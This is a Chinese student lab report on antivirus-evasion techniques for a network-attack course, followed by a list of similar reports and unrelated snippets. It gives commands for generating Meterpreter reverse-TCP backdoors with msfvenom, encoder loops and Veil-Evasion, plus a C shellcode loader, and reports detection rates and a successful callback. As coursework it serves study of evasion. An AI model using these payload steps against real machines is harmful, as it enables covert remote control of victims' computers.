2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践
报告内容
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的 ?
1:基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2.启发式恶意软件检测
在课堂上,老师让王昊同学翻译了这个句子。
也就是代表了启发式恶意软件检测
When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.
(2)免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
1.改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的
2.改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。
3.非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。
实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
一、msfvenom直接生成meterpreter可执行文件
首先我们还是要查看主机和虚拟机的IP地址
虚拟机IP
主机IP
生成的后门程序如下:
我们发现必须将后门名称修改后才可以继续进行扫描,我将后门名字改成了155309
在http://www.virscan.org/
网址上对自己的后门程序进行扫描
二、Msfvenom使用编码器生成meterpreter可执行文件
(一)一次编码
1.在虚拟机中生成可执行文件20155309_backdoor.exe
2.将可执行文件传到主机中
3.在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来。
看到还是19/39的软件能够查到病毒
(二)多次编码
1.在虚拟机中将恶意代码编译十次
2.从虚拟机将文件传到主机
3.检测出有21/39的杀软查出了病毒,看来杀软对于多次编码的病毒大部分还是能够防御的
三、使用Veil-Evasion生成可执行文件
1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:
首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示
第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:
点击system中的sharling即可。
第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil;接着进入veil-evasion,在veil中输入命令:use evasion,如下图所示:
查看kali虚拟机的IP地址:
3.输入命令:use python/meterpreter/rev_tcp.py用python
语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):
4.设置反弹连接IP,命令为:set LHOST 127.0.0.1,注意此处的IP是KaliIP;
5.设置端口,命令为:set LPORT 5309
6.输入generate生成文件,接着输入你想要playload的名字:playload5309
选择第一种默认方式生成:1
这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,在第一种方法中把use python/meterpreter/rev_tcp.py
改成use c/meterpreter/rev_tcp.py
,其他步骤完全相同。
去/var/lib/veil/output/compiled/playload5309.exe
这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5309.exe
把这个文件复制到我们熟悉的路径下
C语言调用Shellcode版本
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=5309 -f c
用c语言生成一段shellcode;
将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VS编译运行
回连
回连成功
实践总结与体会
这次实验我觉得自己最大的体会就是,虽然以前设想过如果是个人编出的一个恶意代码,因为它的小众化所以不会流行在市面上以至于被杀毒软件加进病毒库中,没有想过这样的想法是非常容易实现的。但是从另一个方面,恶意代码虽然可以想办法绕过甚至骗过我们安装的各种杀毒软件,但它始终会在我们的电脑里留下痕迹,比如电脑莫名的卡,或是在某个文件夹下莫名出现之前并没有安装的程序等等。提高我们的防范意识,可能不能完全解决恶意代码的入侵,但是能够一定程度上的限制恶意代码。
2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- Exp3 免杀原理与实践 20164303 景圣
Exp3 免杀原理与实践 一.实验内容 1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 2. 通过组合 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告 实验前准备 安装Veil-Evasion 直接使用Kali快速安装命令,拒绝采用git安装命令 apt-get -y install veil-e ...
- 20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践 基础问题 (1)杀软是如何检测出恶意代码的? 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
随机推荐
- Shell标准输出、标准错误
shell中可能经常能看到:>/dev/null 2>&1 eg:sudo kill -9 ps -elf |grep -v grep|grep $1|awk '{print $4 ...
- 5、Python-字典
定义 info = {'name': '班长', 'id': 88, 'sex': 'man', 'address': '地球亚洲中国北京'} print(info['name']) print(in ...
- bootstrap3 input 验证样式【转】
feedback <form role="form"> <div class="form-group has-success has-feedback& ...
- 算法排序【时间复杂度O(n^2)】
排序算法的两个原则: 1.输出结果为递增或者递减. 2.输出结果为原输入结果的排列或者重组. 平均时间复杂度为O(n^2)的排序算法有三种: 冒泡排序,插入排序,选择排序. 一.冒泡排序: 即谁冒泡泡 ...
- java操作Hbase
public class Test { public Connection connection; // 用HBaseconfiguration初始化配置信息是会自动加载当前应用的classpath下 ...
- Nginx URL匹配
Nginx 下 location模块 可以实现对网页URL进行分析处理 location ~ .*\.(gif|jpg|jpeg|png|bmg|swf)$ { // 扩展名为gif|jpg|j ...
- 第16月第9天 opengl glCltDispatchTable
1.glCltDispatchTable typedef struct _GLTEBINFO { // glCltDispatchTable must be the first field for t ...
- tomcat杂记
组成 Server –> Service –> Connector & Container( Engine –> Host –> Context( Wrapper( S ...
- weblogic对JSP预编译、weblogic读取JSP编译后的class文件、ant中weblogic.jspc预编译JSP
我们都知道在weblogic中JSP是每次第一次访问的时候才会编译,这就造成第一次访问某个JSP的时候性能下降,有时候我们也希望JSP被编译成class然后打包在jar中实现隐藏JSP的功能,下面介绍 ...
- ubuntu14.04 提示 卷 文件系统根目录 仅剩余xxx的硬盘空间